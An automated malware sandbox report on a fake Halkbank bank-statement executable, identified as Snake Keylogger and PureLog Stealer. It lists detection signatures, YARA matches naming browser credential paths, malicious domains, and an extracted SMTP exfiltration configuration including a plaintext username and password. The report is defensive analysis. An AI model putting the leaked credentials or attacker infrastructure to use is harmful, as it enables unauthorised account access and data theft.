Edit tour

Windows Analysis Report
Halkbank_Ekstre_20230426_075819_154055.exe

Overview

General Information

Sample name:	Halkbank_Ekstre_20230426_075819_154055.exe
Analysis ID:	1435266
MD5:	42199f4a8e3d9fe6ce26a7d4922afec7
SHA1:	4e7547a14798f7c4520fab21ea2e34989bf27bc7
SHA256:	9745e0d21f50b1c553b40e8c353b11bb172a2bae1a83b3b9cfce26f9e01b3b89
Tags:	exe
Infos:

Detection

PureLog Stealer, Snake Keylogger

Score:	100
Range:	0 - 100
Whitelisted:	false
Confidence:	100%

Signatures

Antivirus / Scanner detection for submitted sample

Antivirus detection for URL or domain

Found malware configuration

Malicious sample detected (through community Yara rule)

Multi AV Scanner detection for domain / URL

Multi AV Scanner detection for submitted file

Yara detected AntiVM3

Yara detected PureLog Stealer

Yara detected Snake Keylogger

.NET source code contains method to dynamically call methods (often used by packers)

.NET source code contains potential unpacker

Injects a PE file into a foreign processes

Machine Learning detection for sample

Tries to harvest and steal browser information (history, passwords, etc)

Tries to steal Mail credentials (via file / registry access)

Yara detected Generic Downloader

Allocates memory with a write watch (potentially for evading sandboxes)

Binary contains a suspicious time stamp

Contains functionality to access loader functionality (e.g. LdrGetProcedureAddress)

Contains long sleeps (>= 3 min)

Creates a process in suspended mode (likely to inject code)

Detected potential crypto function

Enables debug privileges

Found a high number of Window / User specific system calls (may be a loop to detect user behavior)

Found inlined nop instructions (likely shell or obfuscated code)

HTTP GET or POST without a user agent

IP address seen in connection with other malware

JA3 SSL client fingerprint seen in connection with other malware

May check the online IP address of the machine

May sleep (evasive loops) to hinder dynamic analysis

Monitors certain registry keys / values for changes (often done to protect autostart functionality)

Queries the volume information (name, serial number etc) of a device

Sample file is different than original file name gathered from version info

Uses 32bit PE files

Uses a known web browser user agent for HTTP communication

Uses code obfuscation techniques (call, push, ret)

Uses insecure TLS / SSL version for HTTPS connection

Yara detected Credential Stealer

Yara signature match

Classification

Process Tree

System is w10x64

Halkbank_Ekstre_20230426_075819_154055.exe (PID: 3664 cmdline: "C:\Users\user\Desktop\Halkbank_Ekstre_20230426_075819_154055.exe" MD5: 42199F4A8E3D9FE6CE26A7D4922AFEC7)

Halkbank_Ekstre_20230426_075819_154055.exe (PID: 6052 cmdline: "C:\Users\user\Desktop\Halkbank_Ekstre_20230426_075819_154055.exe" MD5: 42199F4A8E3D9FE6CE26A7D4922AFEC7)

cleanup

Malware Threat Intel

Provided by

Name	Description	Attribution	Blogpost URLs	Link
404 Keylogger, Snake Keylogger	Snake Keylogger (aka 404 Keylogger) is a subscription-based keylogger that has many capabilities. The infostealer can steal a victims sensitive information, log keyboard strokes, take screenshots and extract information from the system clipboard. It was initially released on a Russian hacking forum in August 2019. It is notable for its relatively unusual methods of data exfiltration, including via email, FTP, SMTP, Pastebin or the messaging app Telegram.	No Attribution	https://any.run/cybersecurity-blog/analyzing-snake-keylogger/ https://any.run/cybersecurity-blog/reverse-engineering-snake-keylogger/ https://blog.netlab.360.com/purecrypter https://blog.nviso.eu/2022/04/06/analyzing-a-multilayer-maldoc-a-beginners-guide/ https://blogs.blackberry.com/en/2022/05/dot-net-stubs-sowing-the-seeds-of-discord	https://malpedia.caad.fkie.fraunhofer.de/details/win.404keylogger

Malware Configuration

Threatname: Snake Keylogger

{"Exfil Mode": "SMTP", "Username": "info@eraslangroup.net", "Password": "aHZAyjDK", "Host": "mail.eraslangroup.net", "Port": "587"}

Yara Signatures

Memory Dumps

Source	Rule	Description	Author	Strings
00000000.00000002.2002086129.0000000006C00000.00000004.08000000.00040000.00000000.sdmp	JoeSecurity_PureLogStealer	Yara detected PureLog Stealer	Joe Security
00000003.00000002.3219783954.0000000000402000.00000040.00000400.00020000.00000000.sdmp	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
00000003.00000002.3219783954.0000000000402000.00000040.00000400.00020000.00000000.sdmp	JoeSecurity_SnakeKeylogger	Yara detected Snake Keylogger	Joe Security
00000003.00000002.3219783954.0000000000402000.00000040.00000400.00020000.00000000.sdmp	Windows_Trojan_SnakeKeylogger_af3faa65	unknown	unknown	0x14880:$a1: get_encryptedPassword 0x14b76:$a2: get_encryptedUsername 0x1468c:$a3: get_timePasswordChanged 0x14787:$a4: get_passwordField 0x14896:$a5: set_encryptedPassword 0x15e63:$a7: get_logins 0x15dc6:$a10: KeyLoggerEventArgs 0x15a5f:$a11: KeyLoggerEventArgsEventHandler
00000003.00000002.3219783954.0000000000402000.00000040.00000400.00020000.00000000.sdmp	MALWARE_Win_SnakeKeylogger	Detects Snake Keylogger	ditekSHen	0x18184:$x1: $%SMTPDV$ 0x181e8:$x2: $#TheHashHere%& 0x1983b:$x3: %FTPDV$ 0x1992f:$x4: $%TelegramDv$ 0x15a5f:$x5: KeyLoggerEventArgs 0x15dc6:$x5: KeyLoggerEventArgs 0x1985f:$m2: Clipboard Logs ID 0x19a2b:$m2: Screenshot Logs ID 0x19af7:$m2: keystroke Logs ID 0x19a03:$m4: \SnakeKeylogger\
00000000.00000002.1980117407.0000000002771000.00000004.00000800.00020000.00000000.sdmp	JoeSecurity_PureLogStealer	Yara detected PureLog Stealer	Joe Security
00000000.00000002.1981077702.000000000394E000.00000004.00000800.00020000.00000000.sdmp	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
00000000.00000002.1981077702.000000000394E000.00000004.00000800.00020000.00000000.sdmp	JoeSecurity_SnakeKeylogger	Yara detected Snake Keylogger	Joe Security
00000000.00000002.1981077702.000000000394E000.00000004.00000800.00020000.00000000.sdmp	Windows_Trojan_SnakeKeylogger_af3faa65	unknown	unknown	0xe2678:$a1: get_encryptedPassword 0x103098:$a1: get_encryptedPassword 0x1238b8:$a1: get_encryptedPassword 0xe296e:$a2: get_encryptedUsername 0x10338e:$a2: get_encryptedUsername 0x123bae:$a2: get_encryptedUsername 0xe2484:$a3: get_timePasswordChanged 0x102ea4:$a3: get_timePasswordChanged 0x1236c4:$a3: get_timePasswordChanged 0xe257f:$a4: get_passwordField 0x102f9f:$a4: get_passwordField 0x1237bf:$a4: get_passwordField 0xe268e:$a5: set_encryptedPassword 0x1030ae:$a5: set_encryptedPassword 0x1238ce:$a5: set_encryptedPassword 0xe3c5b:$a7: get_logins 0x10467b:$a7: get_logins 0x124e9b:$a7: get_logins 0xe3bbe:$a10: KeyLoggerEventArgs 0x1045de:$a10: KeyLoggerEventArgs 0x124dfe:$a10: KeyLoggerEventArgs
00000000.00000002.1981077702.000000000394E000.00000004.00000800.00020000.00000000.sdmp	MALWARE_Win_SnakeKeylogger	Detects Snake Keylogger	ditekSHen	0xe5f7c:$x1: $%SMTPDV$ 0x10699c:$x1: $%SMTPDV$ 0x1271bc:$x1: $%SMTPDV$ 0xe5fe0:$x2: $#TheHashHere%& 0x106a00:$x2: $#TheHashHere%& 0x127220:$x2: $#TheHashHere%& 0xe7633:$x3: %FTPDV$ 0x108053:$x3: %FTPDV$ 0x128873:$x3: %FTPDV$ 0xe7727:$x4: $%TelegramDv$ 0x108147:$x4: $%TelegramDv$ 0x128967:$x4: $%TelegramDv$ 0xe3857:$x5: KeyLoggerEventArgs 0xe3bbe:$x5: KeyLoggerEventArgs 0x104277:$x5: KeyLoggerEventArgs 0x1045de:$x5: KeyLoggerEventArgs 0x124a97:$x5: KeyLoggerEventArgs 0x124dfe:$x5: KeyLoggerEventArgs 0xe7657:$m2: Clipboard Logs ID 0xe7823:$m2: Screenshot Logs ID 0xe78ef:$m2: keystroke Logs ID
00000003.00000002.3221387842.00000000029A1000.00000004.00000800.00020000.00000000.sdmp	JoeSecurity_SnakeKeylogger	Yara detected Snake Keylogger	Joe Security
00000000.00000002.1980117407.0000000002813000.00000004.00000800.00020000.00000000.sdmp	JoeSecurity_PureLogStealer	Yara detected PureLog Stealer	Joe Security
Process Memory Space: Halkbank_Ekstre_20230426_075819_154055.exe PID: 3664	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
Process Memory Space: Halkbank_Ekstre_20230426_075819_154055.exe PID: 3664	JoeSecurity_AntiVM_3	Yara detected AntiVM_3	Joe Security
Process Memory Space: Halkbank_Ekstre_20230426_075819_154055.exe PID: 3664	JoeSecurity_SnakeKeylogger	Yara detected Snake Keylogger	Joe Security
Process Memory Space: Halkbank_Ekstre_20230426_075819_154055.exe PID: 3664	Windows_Trojan_SnakeKeylogger_af3faa65	unknown	unknown	0x34fc4:$a1: get_encryptedPassword 0x352b0:$a2: get_encryptedUsername 0x34dda:$a3: get_timePasswordChanged 0x34ed5:$a4: get_passwordField 0x34fda:$a5: set_encryptedPassword 0x37226:$a7: get_logins 0x37189:$a10: KeyLoggerEventArgs 0x36e22:$a11: KeyLoggerEventArgsEventHandler
Process Memory Space: Halkbank_Ekstre_20230426_075819_154055.exe PID: 3664	MALWARE_Win_SnakeKeylogger	Detects Snake Keylogger	ditekSHen	0x36e22:$x5: KeyLoggerEventArgs 0x37189:$x5: KeyLoggerEventArgs 0x37c67:$x5: KeyLoggerEventArgs 0x37f9b:$x5: KeyLoggerEventArgs 0x395a8:$m2: Clipboard Logs ID 0x39688:$m2: Screenshot Logs ID 0x396bc:$m2: keystroke Logs ID 0x39674:$m4: \SnakeKeylogger\
Process Memory Space: Halkbank_Ekstre_20230426_075819_154055.exe PID: 6052	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
Process Memory Space: Halkbank_Ekstre_20230426_075819_154055.exe PID: 6052	JoeSecurity_SnakeKeylogger	Yara detected Snake Keylogger	Joe Security
Process Memory Space: Halkbank_Ekstre_20230426_075819_154055.exe PID: 6052	Windows_Trojan_SnakeKeylogger_af3faa65	unknown	unknown	0x3fbbe:$a1: get_encryptedPassword 0x3feaa:$a2: get_encryptedUsername 0x3f9d4:$a3: get_timePasswordChanged 0x3facf:$a4: get_passwordField 0x3fbd4:$a5: set_encryptedPassword 0x41e20:$a7: get_logins 0x41d83:$a10: KeyLoggerEventArgs 0x41a1c:$a11: KeyLoggerEventArgsEventHandler
Process Memory Space: Halkbank_Ekstre_20230426_075819_154055.exe PID: 6052	MALWARE_Win_SnakeKeylogger	Detects Snake Keylogger	ditekSHen	0x41a1c:$x5: KeyLoggerEventArgs 0x41d83:$x5: KeyLoggerEventArgs 0x42861:$x5: KeyLoggerEventArgs 0x42b95:$x5: KeyLoggerEventArgs 0x441a2:$m2: Clipboard Logs ID 0x44282:$m2: Screenshot Logs ID 0x442b6:$m2: keystroke Logs ID 0x4426e:$m4: \SnakeKeylogger\
Click to see the 16 entries

Unpacked PEs

Source	Rule	Description	Author	Strings
0.2.Halkbank_Ekstre_20230426_075819_154055.exe.6c00000.10.raw.unpack	JoeSecurity_PureLogStealer	Yara detected PureLog Stealer	Joe Security
0.2.Halkbank_Ekstre_20230426_075819_154055.exe.6c00000.10.unpack	JoeSecurity_PureLogStealer	Yara detected PureLog Stealer	Joe Security
0.2.Halkbank_Ekstre_20230426_075819_154055.exe.27c81bc.4.unpack	JoeSecurity_PureLogStealer	Yara detected PureLog Stealer	Joe Security
0.2.Halkbank_Ekstre_20230426_075819_154055.exe.27d8e58.3.raw.unpack	JoeSecurity_PureLogStealer	Yara detected PureLog Stealer	Joe Security
0.2.Halkbank_Ekstre_20230426_075819_154055.exe.27d8e58.3.unpack	JoeSecurity_PureLogStealer	Yara detected PureLog Stealer	Joe Security
0.2.Halkbank_Ekstre_20230426_075819_154055.exe.27c81bc.4.raw.unpack	JoeSecurity_PureLogStealer	Yara detected PureLog Stealer	Joe Security
0.2.Halkbank_Ekstre_20230426_075819_154055.exe.27964d0.5.raw.unpack	JoeSecurity_PureLogStealer	Yara detected PureLog Stealer	Joe Security
3.2.Halkbank_Ekstre_20230426_075819_154055.exe.400000.0.unpack	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
3.2.Halkbank_Ekstre_20230426_075819_154055.exe.400000.0.unpack	JoeSecurity_GenericDownloader_1	Yara detected Generic Downloader	Joe Security
3.2.Halkbank_Ekstre_20230426_075819_154055.exe.400000.0.unpack	JoeSecurity_SnakeKeylogger	Yara detected Snake Keylogger	Joe Security
3.2.Halkbank_Ekstre_20230426_075819_154055.exe.400000.0.unpack	Windows_Trojan_SnakeKeylogger_af3faa65	unknown	unknown	0x14a80:$a1: get_encryptedPassword 0x14d76:$a2: get_encryptedUsername 0x1488c:$a3: get_timePasswordChanged 0x14987:$a4: get_passwordField 0x14a96:$a5: set_encryptedPassword 0x16063:$a7: get_logins 0x15fc6:$a10: KeyLoggerEventArgs 0x15c5f:$a11: KeyLoggerEventArgsEventHandler
3.2.Halkbank_Ekstre_20230426_075819_154055.exe.400000.0.unpack	MAL_Envrial_Jan18_1	Detects Encrial credential stealer malware	Florian Roth	0x1c33f:$a2: \Comodo\Dragon\User Data\Default\Login Data 0x1b571:$a3: \Google\Chrome\User Data\Default\Login Data 0x1b9a4:$a4: \Orbitum\User Data\Default\Login Data 0x1c9e3:$a5: \Kometa\User Data\Default\Login Data
3.2.Halkbank_Ekstre_20230426_075819_154055.exe.400000.0.unpack	INDICATOR_SUSPICIOUS_EXE_DotNetProcHook	Detects executables with potential process hoocking	ditekSHen	0x1561a:$s1: UnHook 0x15621:$s2: SetHook 0x15629:$s3: CallNextHook 0x15636:$s4: _hook
3.2.Halkbank_Ekstre_20230426_075819_154055.exe.400000.0.unpack	MALWARE_Win_SnakeKeylogger	Detects Snake Keylogger	ditekSHen	0x18384:$x1: $%SMTPDV$ 0x183e8:$x2: $#TheHashHere%& 0x19a3b:$x3: %FTPDV$ 0x19b2f:$x4: $%TelegramDv$ 0x15c5f:$x5: KeyLoggerEventArgs 0x15fc6:$x5: KeyLoggerEventArgs 0x19a5f:$m2: Clipboard Logs ID 0x19c2b:$m2: Screenshot Logs ID 0x19cf7:$m2: keystroke Logs ID 0x19c03:$m4: \SnakeKeylogger\
0.2.Halkbank_Ekstre_20230426_075819_154055.exe.3a3c618.7.unpack	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
0.2.Halkbank_Ekstre_20230426_075819_154055.exe.3a3c618.7.unpack	JoeSecurity_SnakeKeylogger	Yara detected Snake Keylogger	Joe Security
0.2.Halkbank_Ekstre_20230426_075819_154055.exe.3a3c618.7.unpack	Windows_Trojan_SnakeKeylogger_af3faa65	unknown	unknown	0x12c80:$a1: get_encryptedPassword 0x12f76:$a2: get_encryptedUsername 0x12a8c:$a3: get_timePasswordChanged 0x12b87:$a4: get_passwordField 0x12c96:$a5: set_encryptedPassword 0x14263:$a7: get_logins 0x141c6:$a10: KeyLoggerEventArgs 0x13e5f:$a11: KeyLoggerEventArgsEventHandler
0.2.Halkbank_Ekstre_20230426_075819_154055.exe.3a3c618.7.unpack	MAL_Envrial_Jan18_1	Detects Encrial credential stealer malware	Florian Roth	0x1a53f:$a2: \Comodo\Dragon\User Data\Default\Login Data 0x19771:$a3: \Google\Chrome\User Data\Default\Login Data 0x19ba4:$a4: \Orbitum\User Data\Default\Login Data 0x1abe3:$a5: \Kometa\User Data\Default\Login Data
0.2.Halkbank_Ekstre_20230426_075819_154055.exe.3a3c618.7.unpack	INDICATOR_SUSPICIOUS_EXE_DotNetProcHook	Detects executables with potential process hoocking	ditekSHen	0x1381a:$s1: UnHook 0x13821:$s2: SetHook 0x13829:$s3: CallNextHook 0x13836:$s4: _hook
0.2.Halkbank_Ekstre_20230426_075819_154055.exe.3a3c618.7.unpack	MALWARE_Win_SnakeKeylogger	Detects Snake Keylogger	ditekSHen	0x16584:$x1: $%SMTPDV$ 0x165e8:$x2: $#TheHashHere%& 0x17c3b:$x3: %FTPDV$ 0x17d2f:$x4: $%TelegramDv$ 0x13e5f:$x5: KeyLoggerEventArgs 0x141c6:$x5: KeyLoggerEventArgs 0x17c5f:$m2: Clipboard Logs ID 0x17e2b:$m2: Screenshot Logs ID 0x17ef7:$m2: keystroke Logs ID 0x17e03:$m4: \SnakeKeylogger\
0.2.Halkbank_Ekstre_20230426_075819_154055.exe.3a1bbf8.6.unpack	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
0.2.Halkbank_Ekstre_20230426_075819_154055.exe.3a1bbf8.6.unpack	JoeSecurity_SnakeKeylogger	Yara detected Snake Keylogger	Joe Security
0.2.Halkbank_Ekstre_20230426_075819_154055.exe.3a1bbf8.6.unpack	Windows_Trojan_SnakeKeylogger_af3faa65	unknown	unknown	0x12c80:$a1: get_encryptedPassword 0x12f76:$a2: get_encryptedUsername 0x12a8c:$a3: get_timePasswordChanged 0x12b87:$a4: get_passwordField 0x12c96:$a5: set_encryptedPassword 0x14263:$a7: get_logins 0x141c6:$a10: KeyLoggerEventArgs 0x13e5f:$a11: KeyLoggerEventArgsEventHandler
0.2.Halkbank_Ekstre_20230426_075819_154055.exe.3a1bbf8.6.unpack	MAL_Envrial_Jan18_1	Detects Encrial credential stealer malware	Florian Roth	0x1a53f:$a2: \Comodo\Dragon\User Data\Default\Login Data 0x19771:$a3: \Google\Chrome\User Data\Default\Login Data 0x19ba4:$a4: \Orbitum\User Data\Default\Login Data 0x1abe3:$a5: \Kometa\User Data\Default\Login Data
0.2.Halkbank_Ekstre_20230426_075819_154055.exe.3a1bbf8.6.unpack	INDICATOR_SUSPICIOUS_EXE_DotNetProcHook	Detects executables with potential process hoocking	ditekSHen	0x1381a:$s1: UnHook 0x13821:$s2: SetHook 0x13829:$s3: CallNextHook 0x13836:$s4: _hook
0.2.Halkbank_Ekstre_20230426_075819_154055.exe.3a1bbf8.6.unpack	MALWARE_Win_SnakeKeylogger	Detects Snake Keylogger	ditekSHen	0x16584:$x1: $%SMTPDV$ 0x165e8:$x2: $#TheHashHere%& 0x17c3b:$x3: %FTPDV$ 0x17d2f:$x4: $%TelegramDv$ 0x13e5f:$x5: KeyLoggerEventArgs 0x141c6:$x5: KeyLoggerEventArgs 0x17c5f:$m2: Clipboard Logs ID 0x17e2b:$m2: Screenshot Logs ID 0x17ef7:$m2: keystroke Logs ID 0x17e03:$m4: \SnakeKeylogger\
0.2.Halkbank_Ekstre_20230426_075819_154055.exe.3a3c618.7.raw.unpack	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
0.2.Halkbank_Ekstre_20230426_075819_154055.exe.3a3c618.7.raw.unpack	JoeSecurity_GenericDownloader_1	Yara detected Generic Downloader	Joe Security
0.2.Halkbank_Ekstre_20230426_075819_154055.exe.3a3c618.7.raw.unpack	JoeSecurity_SnakeKeylogger	Yara detected Snake Keylogger	Joe Security
0.2.Halkbank_Ekstre_20230426_075819_154055.exe.3a3c618.7.raw.unpack	Windows_Trojan_SnakeKeylogger_af3faa65	unknown	unknown	0x14a80:$a1: get_encryptedPassword 0x352a0:$a1: get_encryptedPassword 0x14d76:$a2: get_encryptedUsername 0x35596:$a2: get_encryptedUsername 0x1488c:$a3: get_timePasswordChanged 0x350ac:$a3: get_timePasswordChanged 0x14987:$a4: get_passwordField 0x351a7:$a4: get_passwordField 0x14a96:$a5: set_encryptedPassword 0x352b6:$a5: set_encryptedPassword 0x16063:$a7: get_logins 0x36883:$a7: get_logins 0x15fc6:$a10: KeyLoggerEventArgs 0x367e6:$a10: KeyLoggerEventArgs 0x15c5f:$a11: KeyLoggerEventArgsEventHandler 0x3647f:$a11: KeyLoggerEventArgsEventHandler
0.2.Halkbank_Ekstre_20230426_075819_154055.exe.3a3c618.7.raw.unpack	INDICATOR_SUSPICIOUS_EXE_DotNetProcHook	Detects executables with potential process hoocking	ditekSHen	0x1561a:$s1: UnHook 0x35e3a:$s1: UnHook 0x15621:$s2: SetHook 0x35e41:$s2: SetHook 0x15629:$s3: CallNextHook 0x35e49:$s3: CallNextHook 0x15636:$s4: _hook 0x35e56:$s4: _hook
0.2.Halkbank_Ekstre_20230426_075819_154055.exe.3a3c618.7.raw.unpack	MALWARE_Win_SnakeKeylogger	Detects Snake Keylogger	ditekSHen	0x18384:$x1: $%SMTPDV$ 0x38ba4:$x1: $%SMTPDV$ 0x183e8:$x2: $#TheHashHere%& 0x38c08:$x2: $#TheHashHere%& 0x19a3b:$x3: %FTPDV$ 0x3a25b:$x3: %FTPDV$ 0x19b2f:$x4: $%TelegramDv$ 0x3a34f:$x4: $%TelegramDv$ 0x15c5f:$x5: KeyLoggerEventArgs 0x15fc6:$x5: KeyLoggerEventArgs 0x3647f:$x5: KeyLoggerEventArgs 0x367e6:$x5: KeyLoggerEventArgs 0x19a5f:$m2: Clipboard Logs ID 0x19c2b:$m2: Screenshot Logs ID 0x19cf7:$m2: keystroke Logs ID 0x3a27f:$m2: Clipboard Logs ID 0x3a44b:$m2: Screenshot Logs ID 0x3a517:$m2: keystroke Logs ID 0x19c03:$m4: \SnakeKeylogger\ 0x3a423:$m4: \SnakeKeylogger\
0.2.Halkbank_Ekstre_20230426_075819_154055.exe.3a1bbf8.6.raw.unpack	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
0.2.Halkbank_Ekstre_20230426_075819_154055.exe.3a1bbf8.6.raw.unpack	JoeSecurity_GenericDownloader_1	Yara detected Generic Downloader	Joe Security
0.2.Halkbank_Ekstre_20230426_075819_154055.exe.3a1bbf8.6.raw.unpack	JoeSecurity_SnakeKeylogger	Yara detected Snake Keylogger	Joe Security
0.2.Halkbank_Ekstre_20230426_075819_154055.exe.3a1bbf8.6.raw.unpack	Windows_Trojan_SnakeKeylogger_af3faa65	unknown	unknown	0x14a80:$a1: get_encryptedPassword 0x354a0:$a1: get_encryptedPassword 0x55cc0:$a1: get_encryptedPassword 0x14d76:$a2: get_encryptedUsername 0x35796:$a2: get_encryptedUsername 0x55fb6:$a2: get_encryptedUsername 0x1488c:$a3: get_timePasswordChanged 0x352ac:$a3: get_timePasswordChanged 0x55acc:$a3: get_timePasswordChanged 0x14987:$a4: get_passwordField 0x353a7:$a4: get_passwordField 0x55bc7:$a4: get_passwordField 0x14a96:$a5: set_encryptedPassword 0x354b6:$a5: set_encryptedPassword 0x55cd6:$a5: set_encryptedPassword 0x16063:$a7: get_logins 0x36a83:$a7: get_logins 0x572a3:$a7: get_logins 0x15fc6:$a10: KeyLoggerEventArgs 0x369e6:$a10: KeyLoggerEventArgs 0x57206:$a10: KeyLoggerEventArgs
0.2.Halkbank_Ekstre_20230426_075819_154055.exe.3a1bbf8.6.raw.unpack	INDICATOR_SUSPICIOUS_EXE_DotNetProcHook	Detects executables with potential process hoocking	ditekSHen	0x1561a:$s1: UnHook 0x3603a:$s1: UnHook 0x5685a:$s1: UnHook 0x15621:$s2: SetHook 0x36041:$s2: SetHook 0x56861:$s2: SetHook 0x15629:$s3: CallNextHook 0x36049:$s3: CallNextHook 0x56869:$s3: CallNextHook 0x15636:$s4: _hook 0x36056:$s4: _hook 0x56876:$s4: _hook
0.2.Halkbank_Ekstre_20230426_075819_154055.exe.3a1bbf8.6.raw.unpack	MALWARE_Win_SnakeKeylogger	Detects Snake Keylogger	ditekSHen	0x18384:$x1: $%SMTPDV$ 0x38da4:$x1: $%SMTPDV$ 0x595c4:$x1: $%SMTPDV$ 0x183e8:$x2: $#TheHashHere%& 0x38e08:$x2: $#TheHashHere%& 0x59628:$x2: $#TheHashHere%& 0x19a3b:$x3: %FTPDV$ 0x3a45b:$x3: %FTPDV$ 0x5ac7b:$x3: %FTPDV$ 0x19b2f:$x4: $%TelegramDv$ 0x3a54f:$x4: $%TelegramDv$ 0x5ad6f:$x4: $%TelegramDv$ 0x15c5f:$x5: KeyLoggerEventArgs 0x15fc6:$x5: KeyLoggerEventArgs 0x3667f:$x5: KeyLoggerEventArgs 0x369e6:$x5: KeyLoggerEventArgs 0x56e9f:$x5: KeyLoggerEventArgs 0x57206:$x5: KeyLoggerEventArgs 0x19a5f:$m2: Clipboard Logs ID 0x19c2b:$m2: Screenshot Logs ID 0x19cf7:$m2: keystroke Logs ID
0.2.Halkbank_Ekstre_20230426_075819_154055.exe.29803a8.0.raw.unpack	JoeSecurity_PureLogStealer	Yara detected PureLog Stealer	Joe Security
0.2.Halkbank_Ekstre_20230426_075819_154055.exe.29823c0.2.raw.unpack	JoeSecurity_PureLogStealer	Yara detected PureLog Stealer	Joe Security
0.2.Halkbank_Ekstre_20230426_075819_154055.exe.297f390.1.raw.unpack	JoeSecurity_PureLogStealer	Yara detected PureLog Stealer	Joe Security
Click to see the 36 entries

Joe Sandbox Signatures

Click to jump to signature section

Show All Signature Results

AV Detection

Antivirus / Scanner detection for submitted sample

Source: Halkbank_Ekstre_20230426_075819_154055.exe

Avira: detected

Antivirus detection for URL or domain

Source: https://scratchdreams.tk	Avira URL Cloud: Label: malware
Source: https://scratchdreams.tk/_send_.php?TS	Avira URL Cloud: Label: malware
Source: http://scratchdreams.tk	Avira URL Cloud: Label: malware

Found malware configuration

Source: 00000000.00000002.1981077702.000000000394E000.00000004.00000800.00020000.00000000.sdmp

Malware Configuration Extractor: Snake Keylogger {"Exfil Mode": "SMTP", "Username": "info@eraslangroup.net", "Password": "aHZAyjDK", "Host": "mail.eraslangroup.net", "Port": "587"}

Multi AV Scanner detection for domain / URL

Source: scratchdreams.tk	Virustotal: Detection: 17%	Perma Link
Source: http://scratchdreams.tk	Virustotal: Detection: 17%	Perma Link
Source: https://scratchdreams.tk	Virustotal: Detection: 18%	Perma Link
Source: https://scratchdreams.tk/_send_.php?TS	Virustotal: Detection: 16%	Perma Link

Multi AV Scanner detection for submitted file

Source: Halkbank_Ekstre_20230426_075819_154055.exe	Virustotal: Detection: 55%			Perma Link
Source: Halkbank_Ekstre_20230426_075819_154055.exe	ReversingLabs: Detection: 44%

Machine Learning detection for sample

Source: Halkbank_Ekstre_20230426_075819_154055.exe

Joe Sandbox ML: detected

Source: Halkbank_Ekstre_20230426_075819_154055.exe

Static PE information: EXECUTABLE_IMAGE, 32BIT_MACHINE

Source: unknown

HTTPS traffic detected: 172.67.177.134:443 -> 192.168.2.5:49708 version: TLS 1.0

Source: unknown

HTTPS traffic detected: 104.21.27.85:443 -> 192.168.2.5:49726 version: TLS 1.2

Source: Halkbank_Ekstre_20230426_075819_154055.exe

Static PE information: DYNAMIC_BASE, NX_COMPAT, NO_SEH, TERMINAL_SERVER_AWARE

Source:	Binary string: krUK.pdbSHA256COI source: Halkbank_Ekstre_20230426_075819_154055.exe
Source:	Binary string: krUK.pdb source: Halkbank_Ekstre_20230426_075819_154055.exe

Source: C:\Users\user\Desktop\Halkbank_Ekstre_20230426_075819_154055.exe	Code function: 4x nop then jmp 02702B39h	0_2_0270257F
Source: C:\Users\user\Desktop\Halkbank_Ekstre_20230426_075819_154055.exe	Code function: 4x nop then jmp 02702B39h	0_2_02702509
Source: C:\Users\user\Desktop\Halkbank_Ekstre_20230426_075819_154055.exe	Code function: 4x nop then mov dword ptr [ebp-14h], 00000000h	3_2_0100F03B
Source: C:\Users\user\Desktop\Halkbank_Ekstre_20230426_075819_154055.exe	Code function: 4x nop then mov dword ptr [ebp-14h], 00000000h	3_2_0100F21B
Source: C:\Users\user\Desktop\Halkbank_Ekstre_20230426_075819_154055.exe	Code function: 4x nop then jmp 0100F7A1h	3_2_0100F4E8
Source: C:\Users\user\Desktop\Halkbank_Ekstre_20230426_075819_154055.exe	Code function: 4x nop then jmp 0100FBF9h	3_2_0100F941
Source: C:\Users\user\Desktop\Halkbank_Ekstre_20230426_075819_154055.exe	Code function: 4x nop then mov dword ptr [ebp-14h], 00000000h	3_2_0100EA08
Source: C:\Users\user\Desktop\Halkbank_Ekstre_20230426_075819_154055.exe	Code function: 4x nop then jmp 06622658h	3_2_06622240
Source: C:\Users\user\Desktop\Halkbank_Ekstre_20230426_075819_154055.exe	Code function: 4x nop then jmp 06620F11h	3_2_06620C60
Source: C:\Users\user\Desktop\Halkbank_Ekstre_20230426_075819_154055.exe	Code function: 4x nop then jmp 0662021Dh	3_2_06620040
Source: C:\Users\user\Desktop\Halkbank_Ekstre_20230426_075819_154055.exe	Code function: 4x nop then jmp 06620BA7h	3_2_06620040
Source: C:\Users\user\Desktop\Halkbank_Ekstre_20230426_075819_154055.exe	Code function: 4x nop then jmp 0662F7D1h	3_2_0662F528
Source: C:\Users\user\Desktop\Halkbank_Ekstre_20230426_075819_154055.exe	Code function: 4x nop then jmp 06622091h	3_2_06621DE0
Source: C:\Users\user\Desktop\Halkbank_Ekstre_20230426_075819_154055.exe	Code function: 4x nop then jmp 0662D511h	3_2_0662D268
Source: C:\Users\user\Desktop\Halkbank_Ekstre_20230426_075819_154055.exe	Code function: 4x nop then jmp 0662D0B9h	3_2_0662CE10
Source: C:\Users\user\Desktop\Halkbank_Ekstre_20230426_075819_154055.exe	Code function: 4x nop then jmp 0662D969h	3_2_0662D6C0
Source: C:\Users\user\Desktop\Halkbank_Ekstre_20230426_075819_154055.exe	Code function: 4x nop then jmp 0662E219h	3_2_0662DF70
Source: C:\Users\user\Desktop\Halkbank_Ekstre_20230426_075819_154055.exe	Code function: 4x nop then jmp 0662DDC1h	3_2_0662DB18
Source: C:\Users\user\Desktop\Halkbank_Ekstre_20230426_075819_154055.exe	Code function: 4x nop then jmp 0662E671h	3_2_0662E3C8
Source: C:\Users\user\Desktop\Halkbank_Ekstre_20230426_075819_154055.exe	Code function: 4x nop then jmp 0662EF21h	3_2_0662EC78
Source: C:\Users\user\Desktop\Halkbank_Ekstre_20230426_075819_154055.exe	Code function: 4x nop then jmp 0662EAC9h	3_2_0662E820
Source: C:\Users\user\Desktop\Halkbank_Ekstre_20230426_075819_154055.exe	Code function: 4x nop then jmp 06621371h	3_2_066210C0
Source: C:\Users\user\Desktop\Halkbank_Ekstre_20230426_075819_154055.exe	Code function: 4x nop then jmp 0662F379h	3_2_0662F0D0
